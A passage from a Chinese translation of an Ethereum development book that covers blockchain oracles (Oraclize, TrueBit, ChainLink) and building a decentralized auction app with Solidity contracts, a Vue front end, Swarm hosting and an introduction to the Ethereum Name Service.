如果你愿意信任集中而可审计的服务，你可以再次访问Oraclize。它们提供的服务允许去中心化应用请求在沙盒AWS虚拟机中执行的计算结果。AWS实例从包含在存档中的用户配置的Dockerfile创建可执行容器，该存档上载到星际文件系统（IPFS，参见第12章“数据存储”一节）。根据请求，Oraclize使用其哈希检索此存档，然后在AWS上初始化并执行Docker容器，传递将作为环境变量提供给应用程序的任何参数。容器化应用程序根据时间限制执行计算，并将结果写入标准输出，Oraclize可以对其进行检索并返回到去中心化应用。Oraclize目前在可审计的t2.micro AWS实例上提供此服务，因此如果计算具有一些非常重要的值，则可以检查是否执行了正确的Docker容器。尽管如此，这不是一个真正去中心化的解决方案。

作为可验证预言机事实上的标准，“Cryptlet”的概念已经被规范化为微软更广泛的ESC框架的一部分。Cryptlet在一个密封安全区中运行，该密封安全区是从基础设施比如I/O中抽象出来的，并且附加上了CryptoDelegate，所以输入和输出消息都会自动签名、验证和证明。Cryptlet支持分布式交易，所以合约逻辑可以用具备ACID属性的方式来处理复杂的多步骤、多区块链交易以及外部系统交易。开发者因此可以创建用于智能合约中的可移植的、独立且具隐私性的事实解析。Cryptlet遵循下列格式：






public class SampleContractCryptlet : Cryptlet



  {



      public SampleContractCryptlet(Guid id, Guid bindingId, string name,



          string address, IContainerServices hostContainer, bool contract)



          : base(id, bindingId, name, address, hostContainer, contract)



      {



          MessageApi = new CryptletMessageApi(GetType().FullName,



              new SampleContractConstructor())







TrueBit（
https://truebit.io

 ）是一个可扩展和可验证的链外计算解决方案。它引入了一个解决者和验证者系统，它们被激励各自执行计算和验证这些计算。如果一个计算结果受到挑战，链上就会相应执行对该计算子集的迭代验证进程——这是一种类型的“验证游戏”。验证游戏会进行几轮，每一轮都会递归地查验相关计算的更小子集。挑战充分细分之后，游戏的终局便到来，法官（以太坊矿工）便可在链上最终裁定相关挑战是否合理。实际上，TrueBit是计算市场的一种实现，去中心化应用因此可以为可验证计算支付；计算虽然是在链外执行的，但依靠以太坊来强制执行验证者游戏的规则。理论上来说，这让免信任型智能合约安全地执行任意计算任务。

像TrueBit这样的系统有很多应用，从机器学习到任意工作量证明的验证。后者的其中一个例子是Doge-Ethereum桥接，它利用TrueBit来验证狗狗币（Dogecoin）的工作量证明算法Scrypt，这是一种强内存需求且计算密集的函数，它不可能在以太坊区块gas上限内计算完成。通过在TrueBit执行这种验证，在以太坊Rinkeby测试网络上用智能合约安全地验证狗狗币交易便成为可能。




去中心化预言机



上面列举出的所有机制描述的都是中心化的预言机系统，都需要依赖可信的权威。虽然它们可以为许多应用服务，它们的存在仍然意味着以太坊网络中的单点故障。围绕着去中心化预言机，人们已经提出了很多计划：去中心化预言机可以用于保证数据可得性，还可搭配链上数据汇总系统创建独立数据提供者网络。

ChainLink（
https://www.smartcontract.com/link

 ）已经提出了一种去中心化预言机网络，由三个关键智能合约（声誉合约、订单匹配合约、数据汇总合约）以及数据提供者的链外注册表组成。声誉合约用来跟踪数据提供者的表现。声誉合约中的分数会更新到链外注册表中。订单匹配合约会从使用声誉合约的预言机中选择竞标者，并最终确定服务层级要约（Service Level Agreement，SLA），其中包含了查询参数和要求的预言机数量。这也意味着数据购买者不会直接与个体预言机交易。数据汇总合约会从多个预言机处收集响应（使用“commit-reveal”模式提交），计算查询的最终总结果，然后将结果反馈回声誉合约。

这样的去中心化方案要面临的其中一个重大挑战是：构建数据汇总函数。ChainLink提议计算响应附加权重，这样就可以为每一个预言机响应记录有效性分数。此处，发现一个“无效”的分数并不是毫无价值的，因为它建立在：（以对统计提供的响应的偏离来度量）过于偏远的数据点是不正确的这一前提之上。基于某一预言机响应围绕响应分布的位置来计算有效性分数有一定风险，具体表现为惩罚偏离平均值的正确答案。因此，ChainLink提供汇总函数的标准集合，但也支持使用定制化的汇总合约。

一个相关的想法是谢林币协议。其中，多个参与者记录数值，这些数值的中位数会被当成“正确”答案。记录者必须先质押保证金，这些保证金会根据它与中位数的接近程度重新分配，由此可以激励人们记录与其他人提供的值相近的值。这样共同的数值，也就是所谓的“谢林点”，预计会接近真实值，因为真实数值是响应者协作中所围绕的自然而明显的目标。

Jason Teutsch最近提出一种新型的去中心化链外数据可得性预言机。这种设计利用了一条专用的工作量证明区块链，后者可以在给定时间内正确地记录登记过的数据是否可得。矿工会尝试下载、存储和传播所有新近登记的数据，因此保证数据在本地是可得的。这样的系统是昂贵的，因为每一个挖矿节点都要存储和传播所有登记过的数据。该系统可以通过在登记期结束后释放数据来重复利用存储空间。




Solidity中的预言机客户端接口



代码11-1是一个Solidity示例，展示了Oraclize如何从API不断获取ETH/USD价格并以可用的方式存储结果。


代码11-1：使用Oraclize从外部来源更新ETH/USD汇率







/*



   ETH/USD price ticker leveraging CryptoCompare API



   This contract keeps in storage an updated ETH/USD price,



   which is updated every 10 minutes.



 */



pragma solidity ^0.4.1;



import "github.com/oraclize/ethereum-api/oraclizeAPI.sol";



/*



   "oraclize_" prepended methods indicate inheritance from "usingOraclize"



 */



contract EthUsdPriceTicker is usingOraclize {



    uint public ethUsd;



    event newOraclizeQuery(string description);



    event newCallbackResult(string result);



    function EthUsdPriceTicker() payable {



        // signals TLSN proof generation and storage on IPFS



        oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS);



        // requests query



        queryTicker();



    }



    function __callback(bytes32 _queryId, string _result, bytes _proof) public {



        if (msg.sender != oraclize_cbAddress()) throw;



        newCallbackResult(_result);



        /*



         * Parse the result string into an unsigned integer for on-chain use.



         * Uses inherited "parseInt" helper from "usingOraclize", allowing for



         * a string result such as "123.45" to be converted to uint 12345.



         */



        ethUsd = parseInt(_result, 2);



        // called from callback since we're polling the price



        queryTicker();



    }



    function queryTicker() public payable {



        if (oraclize_getPrice("URL") > this.balance) {



            newOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee");



        } else {



            newOraclizeQuery("Oraclize query was sent, standing by for the



                answer...");



            // query params are (delay in seconds, datasource type,



            // datasource argument)



            // specifies JSONPath, to fetch specific portion of JSON API result



            oraclize_query(60 * 10, "URL",



                "json(https://min-api.cryptocompare.com/data/price?\



                fsym=ETH&tsyms=USD,EUR,GBP).USD");



        }



    }



}







为结合Oraclize，EthUsdPriceTicker合约必须是usingOraclize合约的子合约；后者是在oraclizeAPI文件中定义好的。数据请求会由usingOraclize合约内置的oraclize_query函数发起。这是一个重载函数，预计至少需要两个参数：

·支持使用的数据源，如URL、WolframAlpha、IPFS或计算。

·为给定数据源设定的参数，可能包括JSON或XML解析助手的使用。

数据查询的价格会由queryTicker函数执行。为执行数据查询请求，Oraclize要求用支付一小笔费用，用于补偿传输和处理结果到_callback函数过程中发生的gas费用以及为服务支付的额外费用。费用的数额视数据源和要求的可信证明类型（如果有所指定的话）而定。一旦检索了数据，_callback函数就会由Oraclize控制的许可账户调用；这一过程会传入响应值和唯一的queryId参数，后者可以用于处理和跟踪来自Oraclize的多个待定的回调。

金融数据提供者Thomson Reuters也为以太坊提供了一项名为“BlockOne IQ”的预言机服务，让运行在私有或许可网络上的智能合约可以请求市场和参考数据。代码11-2是该预言机的交互接口，以及用于发起请求的客户端智能合约。


代码11-2：合约调用BlockOne IQ服务以获取市场数据







pragma solidity ^0.4.11;



contract Oracle {



    uint256 public divisor;



    function initRequest(



       uint256 queryType, function(uint256) external onSuccess,



       function(uint256



    ) external onFailure) public returns (uint256 id);



    function addArgumentToRequestUint(uint256 id, bytes32 name, uint256 arg) public;



    function addArgumentToRequestString(uint256 id, bytes32 name, bytes32 arg)



        public;



    function executeRequest(uint256 id) public;



    function getResponseUint(uint256 id, bytes32 name) public constant



        returns(uint256);



    function getResponseString(uint256 id, bytes32 name) public constant



        returns(bytes32);



    function getResponseError(uint256 id) public constant returns(bytes32);



    function deleteResponse(uint256 id) public constant;



}



contract OracleB1IQ-Client {



    Oracle private oracle;



    event LogError(bytes32 description);



   function OracleB1IQClient(address addr) public payable {



        oracle = Oracle(addr);



        getIntraday("IBM", now);



    }



    function getIntraday(bytes32 ric, uint256 timestamp) public {



        uint256 id = oracle.initRequest(0, this.handleSuccess, this.handleFailure);



        oracle.addArgumentToRequestString(id, "symbol", ric);



        oracle.addArgumentToRequestUint(id, "timestamp", timestamp);



        oracle.executeRequest(id);



    }



    function handleSuccess(uint256 id) public {



        assert(msg.sender == address(oracle));



        bytes32 ric = oracle.getResponseString(id, "symbol");



        uint256 open = oracle.getResponseUint(id, "open");



        uint256 high = oracle.getResponseUint(id, "high");



        uint256 low = oracle.getResponseUint(id, "low");



        uint256 close = oracle.getResponseUint(id, "close");



        uint256 bid = oracle.getResponseUint(id, "bid");



        uint256 ask = oracle.getResponseUint(id, "ask");



        uint256 timestamp = oracle.getResponseUint(id, "timestamp");



        oracle.deleteResponse(id);



        // Do something with the price data



    }



    function handleFailure(uint256 id) public {



        assert(msg.sender == address(oracle));



        bytes32 error = oracle.getResponseError(id);



        oracle.deleteResponse(id);



        emit LogError(error);



    }



}







使用initRequest函数启动数据请求，该函数允许指定查询类型（在此示例中是对日内价格的请求）以及两个回调函数。这将返回一个uint256标识符，然后可用于提供其他参数。addArgumentToRequestString函数用于指定路透代码表（RIC），此处为IBM库存，addArgumentToRequestUint允许指定时间戳。现在，传入block.timestamp的别名将检索IBM的当前价格。然后由executeRequest函数执行该请求。处理完请求后，预言机合约将使用查询标识符调用onSuccess回调函数，从而允许检索结果数据；如果检索失败，onFailure回调函数将返回错误代码。成功检索的可用字段包括open（开盘价）、high（最高价）、low（最低价）、close（收盘价）和bid/ask（买/卖价）。




总结



正如你所看到的，预言机为智能合约提供了至关重要的服务：它们将外部事实带入合约执行。当然，预言机也会带来很大的风险：如果它们是受信任的来源并且可能受到损害，可能导致它们提供的智能合约的执行受损。

一般来说，在考虑使用预言机时要非常小心信任模型。如果你认为预言机可以信任，那么你可能会通过将其暴露给潜在的错误输入来破坏智能合约的安全性。也就是说，如果仔细考虑安全假设，那么预言机会非常有用。

去中心化的预言机可以解决其中一些问题，并为以太坊智能合约提供无信任的外部数据。谨慎选择，你就可以开始探索以太坊与预言机提供的“真实世界”之间的桥梁。




第12章　去中心化应用



这一章我们将要探讨去中心化应用（Decentralized Application，DApp）。从以太坊早期开始，创始人的愿景就远比“智能合约”宏伟：重塑现有的互联网，进而为去中心化应用创造一个新的世界，这个新的世界被形象地称为web3。智能合约仅仅是使应用程序的控制逻辑和支付方法去中心化的手段之一。web3 DApp囊括了去中心化应用的方方面面，包括存储、消息传递以及名字解析等（见图12-1）。




图12-1：web3是指使用智能合约和P2P技术的去中心化网络


 　尽管“去中心化应用”是对未来的大胆预想，但是“DApp”这个名词通常适用于任何具有Web前端的智能合约。而一些所谓的DApp是高度集中的应用（CApp）。要小心这些伪DApp！

本章将开发并部署一个演示用的DApp：一个拍卖平台。你可以在本书GitHub代码仓库的code/auction_dapp目录下找到这个应用的源码，网址为
https://github.com/ethereum-book/ethereumbook/tree/develop/code/auction_dapp

 。我们将通过查看这个拍卖程序的方方面面来学习如何将一个应用尽可能地去中心化。首先，让我们来仔细研究一下DApp的特征和优势。




什么是DApp？



DApp是一个大部分或者全部去中心化的应用。

我们来考虑一下去中心化应用的所有方面：

·后端软件（应用逻辑）

·前端软件

·数据存储

·消息通信

·名称解析

所有这些可能是中心化的，也可能是去中心化的。举例来说，可以将前端开发为运行在中心化服务器上的Web应用，或者在你的设备上运行的移动应用。后端和存储可以位于私有服务器和专有的数据库上，也可以使用智能合约和P2P存储。

DApp有许多优点是传统的中心化架构无法提供的：


弹性


得益于业务逻辑是被智能合约处理的，DApp后端的分发和管理将完全在区块链平台上进行。与中心化服务器上部署的应用不同的是，只要区块链平台仍在运行，DApp就不会停机，并且将持续运行下去。


透明


DApp的上链特征使得任何人都可以对代码进行检查，并审核它的功能。任何与DApp的交互都会永久地存储在区块链上。


审查阻力


只要用户能够访问以太坊节点（必要时可运行一个），就可以一直与DApp进行交互，而不会受到任何集中式控制力量的干扰。一旦代码被部署到区块链的网络中，任何服务商甚至智能合约的所有者都不能对其进行修改。

在如今的以太坊生态中，真正的去中心化应用还是很少见的：大多数应用的运作仍然依赖中心化服务或者服务器。未来，我们希望DApp的每一个部分都能以完全去中心化的方式运行。



后端（智能合约）



在一个DApp中，智能合约被用来存储应用的业务逻辑（程序代码）和相关的状态信息。你可以把智能合约看成一个常规的应用程序的服务器端（也就是后端）组件。当然这种类比过于简化。其中一个最主要的区别是任何在智能合约中执行的计算都特别昂贵，所以应该保持智能合约尽量小。因此，确定一个应用的哪些组件需要可信且去中心化的执行平台显得尤为重要。

以太坊智能合约允许构建出复杂的架构，网络中的智能合约可以相互调用并传递数据，以及随时读写自己的状态变量，其复杂性受限于区块gas的限制。当你的智能合约被部署之后，未来会有许多其他的开发者使用你的业务逻辑。

智能合约架构设计的一个主要考虑因素是，一旦合约代码被部署，就无法对其进行修改。如果合约提供了可被调用的SELFDESTRUCT操作码进行编程，那么这个合约可以被删除，但除了彻底被删除之外，合约代码仍旧不能以任何方式更改。

智能合约架构设计的第二个考虑因素则是DApp的大小。一个体量非常大的单个合约在部署和使用的时候会花费非常多的gas。因此，一些应用程序会选择链下计算和外部数据源。但请记住，让DApp的核心业务逻辑依赖于外部数据（如来自中心化服务器）意味着你的用户必须信任这些外部资源。



前端（Web用户界面）



与编写DApp的业务逻辑需要开发者理解EVM以及如Solidity这样的全新编程语言不同的是，DApp客户端界面的开发只需要基础的Web前端技术（如HTML、CSS、JavaScript等）。传统的Web开发人员能使用他们熟悉的工具、库和框架。与DApp的交互，例如，签名消息、发送交易以及密钥管理等操作，通常通过MetaMask等浏览器扩展工具完成（详见第2章）。

虽然也可以创建移动端的DApp，但是目前没有创建移动端DApp的最佳实践，主要原因是缺少具有密钥管理功能的移动客户端来承担轻客户端角色。

前端通常通过web3.js JavaScript库连接到以太坊，该库与前端资源捆绑在一起，并由Web服务器提供给浏览器。



数据存储



由于昂贵的gas费用以及当前较低的区块gas上限，智能合约不太适合存储和处理大量数据。因此，大多数DApp利用链下数据存储服务，这意味着它们将大量数据存储在（链下）数据存储平台上，而非以太坊链上。数据存储平台可以是中心化的（例如典型的云端数据库），也可以是诸如IPFS和以太坊自有平台Swarm等点对点形式的。

去中心化的点对点存储系统是存储和分发大型静态资产如图片、视频以及客户端应用程序的其余部分（如HTML、CSS、JavaScript）的理想选择。接下来我们将讨论IPFS和Swarm。


IPFS


星际文件系统（IPFS）是一个去中心化的、内容可寻址的存储系统，它可以在P2P网络中分配存储的对象。“内容可寻址”意味着内容（文件）的每一小块都被哈希处理，并且这个哈希值可以标识文件。然后，你可以通过这个哈希值在IPFS的任何节点上将文件取回。

IPFS的目标是在Web应用程序的分发上取代HTTP协议。与将Web应用存储在单个文件上不同的是，存储在IPFS系统里的文件可以在任何IPFS节点被获取。

更多有关IPFS的信息位于
https://ipfs.io

 。


Swarm


Swarm是另外一个内容可寻址的、类似于IPFS的P2P存储系统。Swarm是以太坊基金会创建的，作为Go-Ethereum工具链的一部分。与IPFS类似的是，它允许你存储的文件在Swarm节点之间传播和复制。你可以通过引用其哈希值的方式访问任何Swarm文件。Swarm可以让你访问一个来自去中心化P2P系统而非来自一个中心化的Web服务器的网站。

Swarm的官方网页本身就存储在Swarm系统中，可以通过你的Swarm节点或者网关进行访问，网址为：
https://swarm-gateways.net/bzz:/theswarm.eth

 。



去中心化消息通信协议



任何应用都会包含的重要组件是进程之间的通信。这意味着不同的应用之间、相同应用的不同实例之间，以及同一应用的不同用户之间可以交换信息。传统情况下，这可以通过依赖中心化的服务器进行。但是，也有许多基于P2P网络的替代方案。对DApp来说，最值得关注的P2P消息协议是Whisper（
http://bit.ly/2CSls5h

 ），它是以太坊基金会Go-Ethereum工具链的一部分。

去中心化应用最后一个必不可少的部分是名称解析。本章随后将详细介绍以太坊的名称服务。让我们先来看一个例子吧。




一个基本的DApp示例：拍卖DApp



从这一节开始，我们将构建一个DApp示例来探索一下去中心化工具。我们将会实现一个去中心化的拍卖系统。

拍卖DApp允许用户登记一个“deed”代币，这个代币代表着一些特定的资产，例如房屋、汽车和商标等，一旦代币被登记到拍卖DApp，代币的所有权就被转移到拍卖DApp中，允许它被“挂牌待售”。拍卖DApp列出每一个已经登记的代币，并允许其他用户出价购买。在每次拍卖期间，用户可以加入专门为这次拍卖创建的聊天室。一旦拍卖完成，deed代币的所有权将会被转移给拍卖的获胜者（对应着实物所有权的转移）。

拍卖的整个流程见图12-2。




图12-2：拍卖DApp是一个简单的去中心化应用

拍卖DApp的主要组件有：

·一个实现了ERC721的不可替代性“deed”代币的智能合约（DeedRepository）。

·一个实现了拍卖的智能合约（AuctionRepository）以出售deed代币。

·一个使用Vue/Vuetify JavaScript框架的前端。

·一个连接以太坊链的web3.js库（通过MetaMask或其他客户端）。

·一个Swarm客户端，用来存储如图片之类的资源。

·一个Whisper客户端，用来为所有的参与者就每一笔拍卖创建一个聊天室。

你可以在随书代码库里找到拍卖DApp的源代码，网址为
https://github.com/ethereum-book/ethereumbook/tree/develop/code/auction_dapp

 。



拍卖DApp的后端智能合约



我们的拍卖DApp示例需要两个智能合约DeedRepository和AuctionRepository的支持，因此需要将这两个智能合约部署到区块链上。

让我们从查看DeedRepository合约开始，如代码12-1所示。这个合约是实现了ERC721兼容的不可替代物代币合约（参考第10章的“ERC721：不可替代物（实物契约）的代币标准”）。


代码12-1：DeedRepository.sol：在拍卖中使用的ERC721 deed代币







pragma solidity ^0.4.17;



import "./ERC721/ERC721Token.sol";



/**



 * @title Repository of ERC721 Deeds



 * This contract contains the list of deeds registered by users.



 * This is a demo to show how tokens (deeds) can be minted and added



 * to the repository.



 */



contract DeedRepository is ERC721Token {



    /**



    * @dev Created a DeedRepository with a name and symbol



    * @param _name string represents the name of the repository



    * @param _symbol string represents the symbol of the repository



    */



    function DeedRepository(string _name, string _symbol)



        public ERC721Token(_name, _symbol) {}



    /**



    * @dev Public function to register a new deed



    * @dev Call the ERC721Token minter



    * @param _tokenId uint256 represents a specific deed



    * @param _uri string containing metadata/uri



    */



    function registerDeed(uint256 _tokenId, string _uri) public {



        _mint(msg.sender, _tokenId);



        addDeedMetadata(_tokenId, _uri);



        emit DeedRegistered(msg.sender, _tokenId);



    }



    /**



    * @dev Public function to add metadata to a deed



    * @param _tokenId represents a specific deed



    * @param _uri text which describes the characteristics of a given deed



    * @return whether the deed metadata was added to the repository



    */



    function addDeedMetadata(uint256 _tokenId, string _uri) public returns(bool){



        _setTokenURI(_tokenId, _uri);



        return true;



    }



    /**



    * @dev Event is triggered if deed/token is registered



    * @param _by address of the registrar



    * @param _tokenId uint256 represents a specific deed



    */



    event DeedRegistered(address _by, uint256 _tokenId);



}







正如你所见，DeedRepository合约是ERC721兼容的代币的直接实现。

我们的拍卖DApp使用DeedRepository合约来为每次拍卖登记和跟踪相应的代币。而拍卖本身由AuctionRepository合约完成。由于AuctionRepository合约的代码太长，没有办法完整地显示在这里，但是代码12-2展示了合约的主要定义和数据结构。完整的代码可以在随书的GitHub仓库中找到，网址为
https://bit.ly/2IaOo9i

 。


代码12-2：拍卖DApp的智能合约AuctionRepository.sol







contract AuctionRepository {



    // Array with all auctions



    Auction[] public auctions;



    // Mapping from auction index to user bids



    mapping(uint256 => Bid[]) public auctionBids;



    // Mapping from owner to a list of owned auctions



    mapping(address => uint[]) public auctionOwner;



    // Bid struct to hold bidder and amount



    struct Bid {



        address from;



        uint256 amount;



    }



    // Auction struct which holds all the required info



    struct Auction {



        string name;



        uint256 blockDeadline;



        uint256 startPrice;



        string metadata;



        uint256 deedId;



        address deedRepositoryAddress;



        address owner;



        bool active;



        bool finalized;



    }







AuctionRepository合约通过以下函数管理所有的拍卖：






getCount()



getBidsCount(uint _auctionId)



getAuctionsOf(address _owner)



getCurrentBid(uint _auctionId)



getAuctionsCountOfOwner(address _owner)



getAuctionById(uint _auctionId)



createAuction(address _deedRepositoryAddress, uint256 _deedId,



              string _auctionTitle, string _metadata, uint256 _startPrice,



              uint _blockDeadline)



approveAndTransfer(address _from, address _to, address _deedRepository-Address,



                   uint256 _deedId)



cancelAuction(uint _auctionId)



finalizeAuction(uint _auctionId)



bidOnAuction(uint _auctionId)







你可以根据需求，通过truffle将这些代码部署在以太坊链上（如Ropsten测试网）：






$ cd code/auction_dapp/backend



$ truffle init



$ truffle compile



$ truffle migrate --network ropsten








DApp的治理


如果你仔细阅读了拍卖DApp的两个合约，你会发现一些重要的事情：并没有特殊的账户或者角色对DApp有特殊权限。虽然每次拍卖都会有一个具有特殊功能的所有者，但是拍卖DApp本身并没有特权用户。

一旦部署之后就放弃任何控制，这是一些坚持彻底去中心化DApp的有意选择。相反，另一些DApp可能设置一个或者多个具有特殊功能的特权账户，如终止DApp合约，覆盖或者更改合约配置，甚至“否决”某些操作。通常，在DApp中引入这些治理功能是为了避免某些未知的问题而引起的bug。

治理问题是一个特别难解决的问题，通常它代表了一把双刃剑。一方面，拥有特权账户是危险的，因为一旦特权账户被破坏，DApp的安全性就随之被破坏。另一方面，如果没有特权账户，一旦合约出现问题，就没有恢复的余地。在DAO的场景下（见附录A），有一些被称为“curator”的特权账户，但是它们的能力非常有限。这些账户没有办法阻止DAO攻击者取回其资金的行为。在最近的例子中，去中心化交易所Bancor遭遇了大规模的盗窃，正是因为特权账户遭到了破坏。事实证明，Bancor并没有当初想象的那么去中心化。

在构建一个DApp时，你必须决定是让其完全独立，一旦部署之后就无法被控制，还是创建一个特权账户，承受受到攻击的风险。任何一种选择都会带来风险，但是长远来看，真正的DApp不应该存在能进行特权访问的特权账户，因为这不是去中心化。



拍卖DApp的前端用户界面



一旦拍卖DApp合约被部署，你就可以使用你喜欢的JavaScript控制台和web3.js或者其他的web3库与它进行交互。但是，对于大多数用户来说，还是需要易用的用户界面。我们用来自谷歌的Vue2/Vuetify JavaScript框架构建拍卖DApp用户界面。

你可以在随书代码库的code/auction_dapp/frontend文件夹中找到用户界面的代码，网址为
https://github.com/ethereumbook/ethereumbook

 。该目录具有以下结构和内容：






frontend/



|-- build



|   |-- build.js



|   |-- check-versions.js



|   |-- logo.png



|   |-- utils.js



|   |-- vue-loader.conf.js



|   |-- webpack.base.conf.js



|   |-- webpack.dev.conf.js



|   `-- webpack.prod.conf.js



|-- config



|   |-- dev.env.js



|   |-- index.js



|  `-- prod.env.js



|-- index.html



|-- package.json



|-- package-lock.json



|-- README.md



|-- src



|   |-- App.vue



|   |-- components



|   |   |-- Auction.vue



|   |   `-- Home.vue



|   |-- config.js



|   |-- contracts



|   |   |-- AuctionRepository.json



|   |   `-- DeedRepository.json



|   |-- main.js



|   |-- models



|   |   |-- AuctionRepository.js



|   |   |-- ChatRoom.js



|   |   `-- DeedRepository.js



|   `-- router



|       `-- index.js







合约部署完成后，你可以在frontend/src/config.js文件中编辑前端配置，并将部署时的DeedRepository和AuctionRepository合约的地址填写进去。这个前端应用同时需要访问一个提供JSON-RPC和WebSockets接口服务的以太坊节点。当你配置好了前端，就可以在本地机器上通过一个Web服务器将其启动：






$ npm install



$ npm run dev







拍卖DApp前端将启动，可以通过任何一个网络浏览器访问
http://localhost:8080

 。

如果一切顺利，你将看到图12-3显示的内容，这表明了拍卖DApp已经在Web浏览器中运行。




图12-3：拍卖DApp的用户界面




拍卖DApp的进一步去中心化



我们的DApp已经足够去中心化了，但是仍旧可以改进。

AuctionRepository合约不受任何监督，并对每个人开放。一旦其被部署就不可停止，任何拍卖也不可被控制。每一场拍卖都有一个独立的聊天室，并且允许任何人在没有审查或者识别的情况下进行相关的交流。各种拍卖资产，例如描述信息和相关的图片，都存储在Swarm上，这使得它们难以被审查或者拦截。

任何人都可以通过手动构建交易或在本地计算机上运行Vue前端来与DApp进行交互。DApp代码本身是开源的，并在一个公共的代码仓库进行协同开发。

我们可以做以下两件事情，让DApp变得更加去中心化且更具有弹性：

·将所有的应用代码存储在Swarm或IPFS上。

·使用以太坊名称服务，通过引用其名称来访问DApp。

我们将在下一节探讨第一个选项，并在本章“以太坊名称服务”一节中深入研究第二个选项。




使用Swarm进行数据存储



我们在前面介绍过Swarm。拍卖DApp已经使用了Swarm对每场拍卖的图标图片进行存储。与尝试在以太坊上存储数据相比，这种方案更加有效，因为前者非常昂贵。与将图片存储在Web服务器或文件服务器等中心化服务器中相比，使用Swarm进行存储更具有弹性。

然而，我们可以再往前推进一步。可以将DApp的整个前端都存储在Swarm中，并直接在Swarm节点中运行，而不是在Web服务器（或用户自己的电脑）上运行。



准备使用Swarm



首先，你需要安装Swarm并初始化Swarm节点。Swarm是以太坊基金会Go-Ethreum工具包的一部分。Go-Ethreum的安装方法请参考第2章的“Go-Ethreum（Geth）”一节，或者按照Swarm文档直接安装Swarm二进制包。

当你安装好了Swarm，就可以使用version命令检查其能否工作：






$ swarm version



Version: 0.3



Git Commit: 37685930d953bcbe023f9bc65b135a8d8b8f1488



Go Version: go1.10.1



OS: linux







为了使Swarm运行起来，你必须告诉它如何连接到Geth实例，以便访问JSON-RPC API。请按照入门指南（
https://swarm-guide.readthedocs.io/en/latest/gettingstarted.html

 ）中的命令进行操作。

启动Swarm时，可以看到以下类似的信息：






Maximum peer count          ETH=25 LES=0 total=25



Starting peer-to-peer node  instance=swarm/v0.3.1-225171a4/linux...



connecting to ENS API       url=http://127.0.0.1:8545



swarm[5955]: [189B blob data]



Starting P2P networking



UDP listener up             self=enode://f50c8e19ff841bcd5ce7d2d...



Updated bzz local addr      oaddr=9c40be8b83e648d50f40ad3... uaddr=e



Starting Swarm service



9c40be8b hive starting



detected an existing store. trying to load peers



hive 9c40be8b: peers loaded



Swarm network started on bzz address: 9c40be8b83e648d50f40ad3d35f...



Pss started



Streamer started



IPC endpoint opened           url=/home/ubuntu/.ethereum/bzzd.ipc



RLPx listener up              self=enode://f50c8e19ff841bcd5ce7d2d...







你可以通过连接本地Swarm网关的Web界面（
http://localhost:8500

 ）来确定你的Swarm节点是否正确运行。

你应该可以看到图12-4所示的屏幕截图，并且能够查看任何Swarm哈希或者ENS名字。




图12-4：localhost上的Swarm网关



把文件上传到Swarm



一旦在本地运行了Swarm节点和网关，就可以将文件上传到Swarm，并可以使用文件哈希在任何Swarm节点对其进行访问。

让我们来试着上传一个文件：






$ swarm up code/auction_dapp/README.md



ec13042c83ffc2fb5cb0aa8c53f770d36c9b3b35d0468a0c0a77c97016bb8d7c







Swarm已经成功上传了README.md文件，并返回了一个哈希值，你可以使用这个哈希值在任何Swarm节点访问这个文件。例如，可以使用Swarm公共网关
https://swarm-gateways.net/bzz:/ec13042c83ffc2fb5cb0aa8c53f770d36c9b3b35d0468a0c0a77c97016bb8d7c/

 访问这个文件。

虽然上传一个文件是比较简单的，但是上传整个DApp前端则会显得相对复杂。这是因为DApp的各个资源之间都会有错综复杂的引用。通常，一个Web服务器可以把URL转换成本地文件，并能提供正确的资源。在使用Swarm的情况下，我们可以通过打包DApp达到相同的目的。

在拍卖DApp中，可以通过以下脚本来打包所有资源：






$ cd code/auction_dapp/frontend



$ npm run build



> frontend@1.0.0 build /home/aantonop/Dev/ethereumbook/code/auction_dapp/frontend



> node build/build.js



Hash: 9ee134d8db3c44dd574d



Version: webpack 3.10.0



Time: 25665ms



Asset     Size



static/js/vendor.77913f316aaf102cec11.js  1.25 MB



static/js/app.5396ead17892922422d4.js  502 kB



static/js/manifest.87447dd4f5e60a5f9652.js  1.54 kB



static/css/app.0e50d6a1d2b1ed4daa03d306ced779cc.css  1.13 kB



static/css/app.0e50d6a1d2b1ed4daa03d306ced779cc.css.map  2.54 kB



static/js/vendor.77913f316aaf102cec11.js.map  4.74 MB



static/js/app.5396ead17892922422d4.js.map  893 kB



static/js/manifest.87447dd4f5e60a5f9652.js.map  7.86 kB



index.html  1.15 kB



Build complete.







这个命令的结果是产生一个新的文件夹code/auction_dapp/frontend/dist，这个文件夹包含了打包在一起的拍卖DApp的所有前端资源：






dist/



|-- index.html



`-- static



    |-- css



    |   |-- app.0e50d6a1d2b1ed4daa03d306ced779cc.css



    |   `-- app.0e50d6a1d2b1ed4daa03d306ced779cc.css.map



    `-- js



        |-- app.5396ead17892922422d4.js



        |-- app.5396ead17892922422d4.js.map



        |-- manifest.87447dd4f5e60a5f9652.js



        |-- manifest.87447dd4f5e60a5f9652.js.map



        |-- vendor.77913f316aaf102cec11.js



        `-- vendor.77913f316aaf102cec11.js.map







现在你可以将整个DApp上传到Swarm中，可以使用带--recursive选项的up命令。在这里，我们也可以告诉Swarm文件index.html是加载这个DApp的默认路径（defaultpath）：






$ swarm --bzzapi http://localhost:8500 --recursive \



  --defaultpath dist/index.html up dist/



ab164cf37dc10647e43a233486cdeffa8334b026e32a480dd9cbd020c12d4581







现在，整个拍卖DApp都托管在Swarm上了，可以通过Swarm URL
bzz://ab164cf37dc10647e43a233486cdeffa8334b026e32a480dd9cbd020c12d4581

 进行访问。

虽然我们在DApp的去中心化进程中取得了进展，但是它也变得更加难以使用，因为这样的URL的用户友好度远远比不上像auction_dapp.com这样漂亮的名字。难道我们必须要牺牲可用性来换取去中心化的特性吗？完全没必要。下一节会介绍以太坊名称服务，它让我们在保留应用的去中心化特性的同时使用易读的名称。




以太坊名称服务



你可以设计出世界上最好的智能合约，但是如果你不能为用户提供一个好的界面，他们就不会访问你的合约。

在传统互联网上，域名服务（DNS）允许我们在浏览器中使用人类可读的名称，并可以将其解析为对应的IP地址，或者其他幕后的标识符。在以太坊区块链上，以太坊名称服务（Ethereum Name Service，ENS）以一种去中心化的方式解决了同样的问题。

例如，以太坊基金会的捐赠地址是0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359，在支持ENS的钱包中，它被简单地表示为ethreum.eth。

